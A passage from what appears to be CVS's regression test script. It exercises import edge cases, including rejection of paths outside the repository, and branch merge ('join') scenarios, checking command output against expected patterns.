1\\.1\\.1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nmodify\n=============================================================================\"\n\n\t dotest importc-9 \"${testcvs} -q log bdir/subdir/file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/bdir/subdir/file1,v\nWorking file: bdir/subdir/file1\nhead: 1\\.1\nbranch: 1\\.1\\.1\nlocks: strict\naccess list:\nsymbolic names:\n\twip_test: 1\\.1\\.1\\.1\\.0\\.2\n\trelease: 1\\.1\\.1\\.1\n\tvendor: 1\\.1\\.1\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: 1971/07/0[3-5] [0-9][0-9]:43:[0-9][0-9]; author: ${username}; state: Exp;\nbranches: 1\\.1\\.1;\nInitial revision\n----------------------------\nrevision 1\\.1\\.1\\.1\ndate: 1971/07/0[3-5] [0-9][0-9]:43:[0-9][0-9]; author: ${username}; state: Exp; lines: ${PLUS}0 -0\nimport-it\n=============================================================================\"\n\t cd ..\n\n\t # Now tests of absolute pathnames and .. as repository directory.\n\t cd ../1\n\t dotest_fail importc-10 \\\n\"${testcvs} import -m imp ../other vendor release2\" \\\n\"${PROG} \\[[a-z]* aborted\\]: directory \\.\\./other not relative within the repository\"\n\t dotest_fail importc-11 \\\n\"${testcvs} import -m imp ${TESTDIR}/other vendor release3\" \\\n\"${PROG} \\[[a-z]* aborted\\]: directory ${TESTDIR}/other not relative within the repository\"\n\t dotest_fail importc-12 \"test -d ${TESTDIR}/other\" \"\"\n\t cd ..\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\timport-CVS)\n\t mkdir import-CVS\n\t cd import-CVS\n\t touch file1 file2 file3\n\t dotest_fail import-CVS-1 \"$testcvs import -mimport CVS vtag rtag\" \\\n\"$PROG import: The word \\`CVS' is reserved by CVS and may not be used\n$PROG \\[import aborted\\]: as a directory in a path or as a file name\\.\"\n\t dotest_fail import-CVS-1b \\\n\"$testcvs import -mimport CVS-/CVS vtag rtag\" \\\n\"$PROG import: The word \\`CVS' is reserved by CVS and may not be used\n$PROG \\[import aborted\\]: as a directory in a path or as a file name\\.\"\n\t mkdir sdir\n\t mkdir sdir/CVS\n\t touch CVS sdir/CVS/file4 sdir/CVS/file5 sdir/file6 sdir/file7\n\t # Calling the imported directory import-CVS is dual purpose in the\n\t # following test. It makes sure the path test which matched above\n\t # wasn't too strict.\n\t dotest_sort import-CVS-2 \\\n\"$testcvs import -I! -mimport import-CVS vtag rtag\" \\\n\"\n\nI import-CVS/CVS\nI import-CVS/sdir/CVS\nN import-CVS/file1\nN import-CVS/file2\nN import-CVS/file3\nN import-CVS/sdir/file6\nN import-CVS/sdir/file7\nNo conflicts created by this import\n$PROG import: Importing $CVSROOT_DIRNAME/import-CVS/sdir\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r import-CVS\n\t rm -rf $CVSROOT_DIRNAME/import-CVS\n\t ;;\n\n\n\n\timport-quirks)\n\t # Short tests of quirky import behavior.\n\t #\n\t # For a list of other import tests with short descriptions, see the\n\t # comment header of the \"import\" test.\n\t mkdir import-quirks\n\t cd import-quirks\n\t touch file1 file2 file3\n\n\t # CVS prior to 1.11.18 and 1.12.10 used to happily import to\n\t # \"branch 1.1\", creating RCS archives with revisions like,\n\t # \"1.1..1\". That double-dot is *not* a typo.\n\t dotest_fail import-quirks-1 \\\n\"$testcvs import -b1.1. -mbad-bad-bad import-quirks VB RT\" \\\n\"$PROG \\[import aborted\\]: Only numeric branch specifications with two dots are\nsupported by import, not \\`1\\.1\\.'\\. For example: \\`1\\.1\\.1'\\.\"\n\n\t dotest_fail import-quirks-2 \\\n\"$testcvs import -b1.1.1.. -mbad-bad-bad import-quirks VB RT\" \\\n\"$PROG \\[import aborted\\]: Only numeric branch specifications with two dots are\nsupported by import, not \\`1\\.1\\.1\\.\\.'\\. For example: \\`1\\.1\\.1'\\.\"\n\n\t # Try a few odd numbers. This is hardly comprehensive.\n\t dotest_sort import-quirks-2 \\\n\"$testcvs import -b10.10.101 -mthis-ones-ok import-quirks-2 VB RT\" \\\n\"\n\nN import-quirks-2/file1\nN import-quirks-2/file2\nN import-quirks-2/file3\nNo conflicts created by this import\"\n\n\t dotest_sort import-quirks-3 \\\n\"$testcvs import -b2345678901.2345678901.2345678901 -mthis-ones-ok import-quirks-3 VB RT\" \\\n\"\n\nN import-quirks-3/file1\nN import-quirks-3/file2\nN import-quirks-3/file3\nNo conflicts created by this import\"\n\n\t dotest_sort import-quirks-4 \\\n\"$testcvs import -b1.1.2 -mthis-ones-ok import-quirks-4 VB RT\" \\\n\"\n\nN import-quirks-4/file1\nN import-quirks-4/file2\nN import-quirks-4/file3\nNo conflicts created by this import\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ..\n\t rm -r import-quirks\n\t rm -rf $CVSROOT_DIRNAME/import-quirks-2 \\\n\t\t $CVSROOT_DIRNAME/import-quirks-3 \\\n\t\t $CVSROOT_DIRNAME/import-quirks-4\n\t ;;\n\n\n\n\timport-after-initial)\n\t # Properly handle the case in which the first version of a\n\t # file is created by a regular cvs add and commit, and there\n\t # is a subsequent cvs import of the same file. cvs update with\n\t # a date tag must resort to searching the vendor branch only if\n\t # the initial version of the file was created at the same time\n\t # as the initial version on the vendor branch.\n\n\t mkdir 1; cd 1\n\t module=x\n\n\t echo > unused-file\n\n\t # Create the module.\n\t dotest import-after-initial-1 \\\n\t \"$testcvs -Q import -m. $module X Y\" ''\n\n\t file=m\n\t # Check it out and add a file.\n\t dotest import-after-initial-2 \"$testcvs -Q co $module\" ''\n\t cd $module\n\t echo original > $file\n\t dotest import-after-initial-3 \"${testcvs} -Q add $file\" \"\"\n\t dotest import-after-initial-4 \"${testcvs} -Q ci -m. $file\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/$module/$file,v\ndone\nChecking in $file;\n${CVSROOT_DIRNAME}/$module/$file,v <-- $file\ninitial revision: 1\\.1\ndone\"\n\n\t # Delay a little so the following import isn't done in the same\n\t # second as the preceding commit.\n\t sleep 2\n\n\t # Do the first import of $file *after* $file already has an\n\t # initial version.\n\t mkdir sub\n\t cd sub\n\t echo newer-via-import > $file\n\t dotest import-after-initial-5 \\\n\t \"$testcvs -Q import -m. $module X Y2\" ''\n\t cd ..\n\n\t # Sleep a second so we're sure to be after the second of the import.\n\t sleep 1\n\n\t dotest import-after-initial-6 \\\n\t \"$testcvs -Q update -p -D now $file\" 'original'\n\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/$module\n\t ;;\n\n branch-after-import)\n\t # Test branching after an import via both cvs tag -b and\n\t # cvs add to verify that the HEAD remains at 1.1.1.1\n\t # This was a FreeBSD bug documented at the URL:\n\t # http://www.freebsd.org/cgi/query-pr.cgi?pr=4033\n\n\t mkdir branch-after-import\n\t cd branch-after-import\n\n\t # OK, first we get some sources from the NetMunger project,\n\t # and import them into the 1.1.1 vendor branch.\n\t mkdir imp-dir\n\t cd imp-dir\n\t echo 'OpenMunger sources' >file1\n\t echo 'OpenMunger sources' >file2\n\t dotest_sort branch-after-import-1 \\\n\"${testcvs} import -m add first-dir openmunger openmunger-1_0\" \\\n'\n\nN first-dir/file1\nN first-dir/file2\nNo conflicts created by this import'\n\t cd ..\n\n\t # Next checkout the new module\n\t dotest branch-after-import-2 \\\n\"${testcvs} -q co first-dir\" \\\n'U first-dir/file1\nU first-dir/file2'\n\t cd first-dir\n\t # Branch tag the file1 and cvs add file2,\n\t # the branch should remain the same in both cases\n\t # such that a new import will not require a conflict\n\t # resolution.\n\t dotest branch-after-import-3 \\\n\"${testcvs} tag -b TESTTOTRON file1\" \\\n'T file1'\n\t dotest branch-after-import-4 \\\n\"$testcvs -q update -r TESTTOTRON\" \\\n\"[UP] file1\n$PROG update: file2 is no longer in the repository\"\n\n\t cp ../imp-dir/file2 .\n\t dotest branch-after-import-5 \\\n\"${testcvs} add file2\" \\\n\"${PROG} add: scheduling file .file2. for addition on branch .TESTTOTRON.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t dotest branch-after-import-6 \\\n\"${testcvs} commit -m cvs-add file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.1\\.1\\.2\\.2; previous revision: 1\\.1\\.1\\.1\\.2\\.1\ndone\"\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -r branch-after-import\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tjoin)\n\t # Test doing joins which involve adding and removing files.\n\t # Variety of scenarios (see list below), in the context of:\n\t # * merge changes from T1 to T2 into the main line\n\t # * merge changes from branch 'branch' into the main line\n\t # * merge changes from branch 'branch' into branch 'br2'.\n\t # See also binfile2, which does similar things with binary files.\n\t # See also join2, which tests joining (and update -A) on only\n\t # a single file, rather than a directory.\n\t # See also rmadd2, which tests -j cases not involving branches\n\t # (e.g. undoing a commit)\n\t # See also join3, which tests some cases involving the greatest\n\t # common ancestor. Here is a list of tests according to branch\n\t # topology:\n\t #\n\t # --->bp---->trunk too many to mention\n\t # \\----->branch\n\t #\n\t # /----->branch1\n\t # --->bp---->trunk multibranch, multibranch2\n\t # \\----->branch2\n\t #\n\t # --->bp1----->bp2---->trunk join3\n\t # \\->br1 \\->br2\n\t #\n\t # --->bp1----->trunk\n\t # \\----bp2---->branch branches\n\t # \\------>branch-of-branch\n\n\t # We check merging changes from T1 to T2 into the main line.\n\t # Here are the interesting cases I can think of:\n\t # 1) File added between T1 and T2, not on main line.\n\t # File should be marked for addition.\n\t # 2) File added between T1 and T2, also added on main line.\n\t # Conflict.\n\t # 3) File removed between T1 and T2, unchanged on main line.\n\t # File should be marked for removal.\n\t # 4) File removed between T1 and T2, modified on main line.\n\t # If mod checked in, file should be marked for removal.\n\t #\t If mod still in working directory, conflict.\n\t # 5) File removed between T1 and T2, was never on main line.\n\t # Nothing should happen.\n\t # 6) File removed between T1 and T2, also removed on main line.\n\t # Nothing should happen.\n\t # 7) File not added between T1 and T2, added on main line.\n\t # Nothing should happen.\n\t # 8) File not modified between T1 and T2, removed on main line.\n\t # Nothing should happen.\n\t # 9) File modified between T1 and T2, removed on main line.\n\t # Conflict.\n\t # 10) File was never on branch, removed on main line.\n\t # Nothing should happen.\n\n\t # We also check merging changes from a branch into the main\n\t # line. Here are the interesting cases:\n\t # 1) File added on branch, not on main line.\n\t # File should be marked for addition.\n\t # 2) File added on branch, also added on main line.\n\t # Conflict.\n\t # 3) File removed on branch, unchanged on main line.\n\t # File should be marked for removal.\n\t # 4) File removed on branch, modified on main line.\n\t # Conflict.\n\t # 5) File removed on branch, was never on main line.\n\t # Nothing should happen.\n\t # 6) File removed on branch, also removed on main line.\n\t # Nothing should happen.\n\t # 7) File added on main line, not added on branch.\n\t # Nothing should happen.\n\t # 8) File removed on main line, not modified on branch.\n\t # Nothing should happen.\n\t # 9) File modified on branch, removed on main line.\n\t # Conflict.\n\t # 10) File was never on branch, removed on main line.\n\t # Nothing should happen.\n\n\t # In the tests below, fileN represents case N in the above\n\t # lists.\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest join-1 \"${testcvs} -q co first-dir\" ''\n\n\t cd first-dir\n\n\t # Add two files.\n\t echo 'first revision of file3' > file3\n\t echo 'first revision of file4' > file4\n\t echo 'first revision of file6' > file6\n\t echo 'first revision of file8' > file8\n\t echo 'first revision of file9' > file9\n\t dotest join-2 \"${testcvs} add file3 file4 file6 file8 file9\" \\\n\"${PROG}\"' add: scheduling file `file3'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file4'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file6'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file8'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file9'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\n\t dotest join-3 \"${testcvs} -q commit -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file4,v\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file6,v\ndone\nChecking in file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file8,v\ndone\nChecking in file8;\n${CVSROOT_DIRNAME}/first-dir/file8,v <-- file8\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file9,v\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/file9,v <-- file9\ninitial revision: 1\\.1\ndone\"\n\n\t # Make a branch.\n\t dotest join-4 \"${testcvs} -q tag -b branch .\" \\\n'T file3\nT file4\nT file6\nT file8\nT file9'\n\n\t # Add file2, file7, and file10, modify file4, and remove\n\t # file6, file8, and file9.\n\t echo 'first revision of file2' > file2\n\t echo 'second revision of file4' > file4\n\t echo 'first revision of file7' > file7\n\t rm file6 file8 file9\n\t echo 'first revision of file10' > file10\n\t dotest join-5 \"${testcvs} add file2 file7 file10\" \\\n\"${PROG}\"' add: scheduling file `file2'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file7'\\'' for addition\n'\"${PROG}\"' add: scheduling file `file10'\\'' for addition\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest join-6 \"${testcvs} rm file6 file8 file9\" \\\n\"${PROG}\"' remove: scheduling `file6'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file8'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file9'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove these files permanently'\n\t dotest join-7 \"${testcvs} -q ci -mx .\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file10,v\ndone\nChecking in file10;\n${CVSROOT_DIRNAME}/first-dir/file10,v <-- file10\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\nRemoving file6;\n${CVSROOT_DIRNAME}/first-dir/file6,v <-- file6\nnew revision: delete; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file7,v\ndone\nChecking in file7;\n${CVSROOT_DIRNAME}/first-dir/file7,v <-- file7\ninitial revision: 1\\.1\ndone\nRemoving file8;\n${CVSROOT_DIRNAME}/first-dir/file8,v <-- file8\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving file9;\n${CVSROOT_DIRNAME}/first-dir/file9,v <-- file9\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Remove file10\n\t dotest join-7a \"${testcvs} rm -f file10\" \\\n\"${PROG}\"' remove: scheduling `file10'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove this file permanently'\n\t dotest join-7b \"${testcvs} -q ci -mx .\" \\\n\"Removing file10;\n${CVSROOT_DIRNAME}/first-dir/file10,v <-- file10\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\n\t # Check out the branch.\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t dotest join-8 \"${testcvs} -q co -r branch first-dir\" \\\n'U first-dir/file3\nU first-dir/file4\nU first-dir/file6\nU first-dir/file8\nU first-dir/file9'\n\n\t cd first-dir\n\n\t # Modify the files on the branch, so that T1 is not an\n\t # ancestor of the main line, and add file5\n\t echo 'first branch revision of file3' > file3\n\t echo 'first branch revision of file4' > file4\n\t echo 'first branch revision of file5' > file5\n\t echo 'first branch revision of file6' > file6\n\t echo 'first branch revision of file9' > file9\n\t dotest join-9 \"${testcvs} add file5\" \\\n\"${PROG}\"' add: scheduling file `file5'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add this file permanently'\n\t dotest join-10 \"${testcvs} -q ci -mx .\" \\\n\"Checking in file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file5,v\ndone\nChecking in file5;\n${CVSROOT_DIRNAME}/first-dir/Attic/file5,v <-- file5\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file6;\n${CVSROOT_DIRNAME}/first-dir/Attic/file6,v <-- file6\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/Attic/file9,v <-- file9\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Tag the current revisions on the branch.\n\t dotest join-11 \"${testcvs} -q tag T1 .\" \\\n'T file3\nT file4\nT file5\nT file6\nT file8\nT file9'\n\n\t # Add file1 and file2, modify file9, and remove the other files.\n\t echo 'first branch revision of file1' > file1\n\t echo 'first branch revision of file2' > file2\n\t echo 'second branch revision of file9' > file9\n\t rm file3 file4 file5 file6\n\t dotest join-12 \"${testcvs} add file1 file2\" \\\n\"${PROG}\"' add: scheduling file `file1'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: scheduling file `file2'\\'' for addition on branch `branch'\\''\n'\"${PROG}\"' add: use .'\"${PROG}\"' commit. to add these files permanently'\n\t dotest join-13 \"${testcvs} rm file3 file4 file5 file6\" \\\n\"${PROG}\"' remove: scheduling `file3'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file4'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file5'\\'' for removal\n'\"${PROG}\"' remove: scheduling `file6'\\'' for removal\n'\"${PROG}\"' remove: use .'\"${PROG}\"' commit. to remove these files permanently'\n\t dotest join-14 \"${testcvs} -q ci -mx .\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/Attic/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file3;\n${CVSROOT_DIRNAME}/first-dir/file3,v <-- file3\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file4;\n${CVSROOT_DIRNAME}/first-dir/file4,v <-- file4\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file5;\n${CVSROOT_DIRNAME}/first-dir/Attic/file5,v <-- file5\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nRemoving file6;\n${CVSROOT_DIRNAME}/first-dir/Attic/file6,v <-- file6\nnew revision: delete; previous revision: 1\\.1\\.2\\.1\ndone\nChecking in file9;\n${CVSROOT_DIRNAME}/first-dir/Attic/file9,v <-- file9\nnew revision: 1\\.1\\.2\\.2; previous revision: 1\\.1\\.2\\.1\ndone\"\n\n\t # Tag the current revisions on the branch.\n\t dotest join-15 \"${testcvs} -q tag T2 .\" \\\n'T file1\nT file2\nT file8\nT file9'\n\n\t # Do a checkout with a merge.\n\t cd ../..\n\t mkdir 3\n\t cd 3\n\t dotest join-16 \"$testcvs -q co -jT1 -jT2 first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\n$PROG checkout: file first-dir/file2 exists, but has been added in revision T2\nU first-dir/file3\n$PROG checkout: scheduling first-dir/file3 for removal\nU first-dir/file4\n$PROG checkout: file first-dir/file4 has been removed in revision T2, but the destination is incompatibly modified\nC first-dir/file4\nU first-dir/file7\n$PROG checkout: file first-dir/file9 does not exist, but is present in revision T2\"\n\n\t # Verify that the right changes have been scheduled.\n\t cd first-dir\n\t dotest_fail join-17 \"$testcvs -q update\" \\\n'A file1\nR file3\nC file4'\n\n\t # Modify file4 locally, and do an update with a merge.\n\t cd ../../1/first-dir\n\t echo 'third revision of file4' > file4\n\t dotest join-18 \"$testcvs -q update -jT1 -jT2 .\" \\\n\"U file1\n$PROG update: file file2 exists, but has been added in revision T2\n$PROG update: scheduling file3 for removal\nM file4\n$PROG update: file file4 has been removed in revision T2, but the destination is incompatibly modified\nC file4\n$PROG update: file file9 does not exist, but is present in revision T2\"\n\n\t # Verify that the right changes have been scheduled.\n\t dotest_fail join-19 \"$testcvs -q update\" \\\n'A file1\nR file3\nC file4'\n\n\t # Do a checkout with a merge from a single revision.\n\n\t # FIXME: CVS currently gets this wrong. file2 has been\n\t # added on both the branch and the main line, and so should\n\t # be regarded as a conflict. However, given the way that\n\t # CVS sets up the RCS file, there is no way to distinguish\n\t # this case from the case of file2 having existed before the\n\t # branch was made. This could be fixed by reserving\n\t # a revision somewhere, perhaps 1.1, as an always dead\n\t # revision which can be used as the source for files added\n\t # on branches.\n\t cd ../../3\n\t rm -r first-dir\n\t dotest join-20 \"$testcvs -q co -jbranch first-dir\" \\\n\"U first-dir/file1\nU first-dir/file2\nRCS file: $CVSROOT_DIRNAME/first-dir/file2,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\nMerging differences between 1\\.1 and 1\\.1\\.2\\.2 into file2\nU first-dir/file3\n$PROG checkout: scheduling first-dir/file3 for removal\nU first-dir/file4\n$PROG checkout: file first-dir/file4 has been removed in revision branch, but the destination is incompatibly modified\nC first-dir/file4\nU first-dir/file7\n$PROG checkout: file first-dir/file9 does not exist, but is present in revision branch\"\n\n\t # Verify that the right changes have been scheduled.\n\t # The M file2 line is a bug; see above join-20.\n\t cd first-dir\n\t dotest_fail join-21 \"$testcvs -q update\" \\\n'A file1\nM file2\nR file3\nC file4'\n\n\t # Checkout the main line again.\n\t cd ../../1\n\t rm -r first-dir\n\t dotest join-22 \"${testcvs} -q co first-dir\" \\\n'U first-dir/file2\nU first-dir/file3\nU first-dir/file4\nU first-dir/file7'\n\n\t # Modify file4 locally, and do an update with a merge from a\n\t # single revision.\n\t # The file2 handling is a bug; see above join-20.\n\t cd first-dir\n\t echo 'third revision of file4' > file4\n\t dotest join-23 \"$testcvs -q update -jbranch .\" \\\n\"U file1\nRCS file: $CVSROOT_DIRNAME/first-dir/file2,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\nMerging differences between 1\\.1 and 1\\.1\\.2\\.2 into file2\n$PROG update: scheduling file3 for removal\nM file4\n$PROG update: file file4 has been removed in revision branch, but the destination is incompatibly modified\nC file4\n$PROG update: file file9 does not exist, but is present in revision branch\"\n\n\t # Verify that the right changes have been scheduled.\n\t # The M file2 line is a bug; see above join-20\n\t dotest_fail join-24 \"$testcvs -q update\" \\\n'A file1\nM file2\nR file3\nC file4'\n\n\t cd ..\n\n\t # Checkout the main line again and make a new branch which we\n\t # merge to.\n\t rm -r first-dir\n\t dotest join-25 \"${testcvs} -q co first-dir\" \\\n'U first-dir/file2\nU first-dir/file3\nU first-dir/file4\nU first-dir/file7'\n\t cd first-dir\n\t dotest join-26 \"${testcvs} -q tag -b br2\" \\\n\"T file2\nT file3\nT file4\nT file7\"\n\t dotest join-27 \"$testcvs -q update -r br2\" \\\n'[UP] file2\n[UP] file3\n[UP] file4\n[UP] file7'\n\t # The handling of file8 and file9 here look fishy to me. I don't\n\t # see why it should be different from the case where we merge to\n\t # the trunk (e.g. join-23).\n\t dotest join-28 \"$testcvs -q update -j branch\" \\\n\"U file1\nRCS file: $CVSROOT_DIRNAME/first-dir/file2,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\nMerging differences between 1\\.1 and 1\\.1\\.2\\.2 into file2\n$PROG update: scheduling file3 for removal\n$PROG update: file file4 has been removed in revision branch, but the destination is incompatibly modified\nC file4\nU file8\nU file9\"\n\t # Verify that the right changes have been scheduled.\n\t dotest_fail join-29 \"$testcvs -q update\" \\\n\"A file1\nM file2\nR file3\nC file4\nA file8\nA file9\"\n\n\t # Checkout the mainline again to try updating and merging between two\n\t # branches in the same step\n\t # this seems a likely scenario - the user finishes up on branch and\n\t # updates to br2 and merges in the same step - and there was a bug\n\t # once that if the file was removed in the update then it wouldn't be\n\t # readded in the merge\n\t cd ..\n\t rm -rf first-dir\n\t dotest join-twobranch-1 \"${testcvs} -q co -rbranch first-dir\" \\\n'U first-dir/file1\nU first-dir/file2\nU first-dir/file8\nU first-dir/file9'\n\t cd first-dir\n\t dotest join-twobranch-2 \"$testcvs -q update -rbr2 -jbranch\" \\\n\"$PROG update: file1 is no longer in the repository\nU file1\nU file2\nRCS file: $CVSROOT_DIRNAME/first-dir/file2,v\nretrieving revision 1\\.1\nretrieving revision 1\\.1\\.2\\.2\nMerging differences between 1\\.1 and 1\\.1\\.2\\.2 into file2\nU file3\n$PROG update: scheduling file3 for removal\nU file4\n$PROG update: file file4 has been removed in revision branch, but the destination is incompatibly modified\nC file4\nU file7\n$PROG update: file8 is no longer in the repository\nU file8\n$PROG update: file9 is no longer in the repository\nU file9\"\n\t # Verify that the right changes have been scheduled.\n\t dotest_fail join-twobranch-3 \"$testcvs -q update\" \\\n\"A file1\nM file2\nR file3\nC file4\nA file8\nA file9\"\n\n\t # Checkout the mainline again to try merging from the trunk\n\t # to a branch.\n\t cd ..\n\t rm -r first-dir\n\t dotest join-30 \"${testcvs} -q co first-dir\" \\\n'U first-dir/file2\nU first-dir/file3\nU first-dir/file4\nU first-dir/file7'\n\t cd first-dir\n\n\t # Tag the current revisions on the trunk.\n\t dotest join-31 \"${testcvs} -q tag T3 .\" \\\n'T file2\nT file3\nT file4\nT file7'\n\n\t # Modify file7.\n\t echo 'second revision of file7' > file7\n\t dotest join-32 \"${testcvs} -q ci -mx .\" \\\n\"Checking in file7;\n${CVSROOT_DIRNAME}/first-dir/file7,v <-- file7\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # And Tag again.\n\t dotest join-33 \"${testcvs} -q tag T4 .\" \\\n'T file2\nT file3\nT file4\nT file7'\n\n\t # Now update branch to T3.\n\t cd ../../2/first-dir\n\t dotest join-34 \"${testcvs} -q up -jT3\" \\\n\"${PROG} update: file file4 does not exist, but is present in revision T3\nU file7\"\n\n\t # Verify that the right changes have been scheduled.\n\t dotest join-35 \"${testcvs} -q update\" \\\n'A file7'\n\n\t # Now update to T4.\n\t # This is probably a bug, although in this particular case it just\n\t # happens to do the right thing; see above join-20.\n\t dotest join-36 \"${testcvs} -q up -j T3 -j T4\" \\\n\"A file7\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file7,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into file7\"\n\n\t # Verify that the right changes have been scheduled.\n\t dotest join-37 \"${testcvs} -q update\" \\\n'A file7'\n\n\t cd ../..\n\n\t rm -r 1 2 3\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tjoin2)\n\t # More joining tests.\n\n\t # First the usual setup; create a directory first-dir, a file\n\t # first-dir/file1, and a branch br1.\n\t mkdir 1; cd 1\n\t dotest join2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest join2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t echo 'initial contents of file1' >file1\n\t dotest join2-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest join2-4 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest join2-5 \"${testcvs} -q tag -b br1\" \"T file1\"\n\t dotest join2-6 \"$testcvs -q update -r br1\" '[UP] file1'\n\t echo 'modify on branch' >>file1\n\t touch bradd\n\t dotest join2-6a \"${testcvs} add bradd\" \\\n\"${PROG} add: scheduling file .bradd. for addition on branch .br1.\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest join2-7 \"${testcvs} -q ci -m modify\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/bradd,v\ndone\nChecking in bradd;\n${CVSROOT_DIRNAME}/first-dir/Attic/bradd,v <-- bradd\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t # Here is the unusual/pathological part. We switch back to\n\t # the trunk *for file1 only*, not for the whole directory.\n\t dotest join2-8 \"${testcvs} -q update -A file1\" '[UP] file1'\n\t dotest join2-9 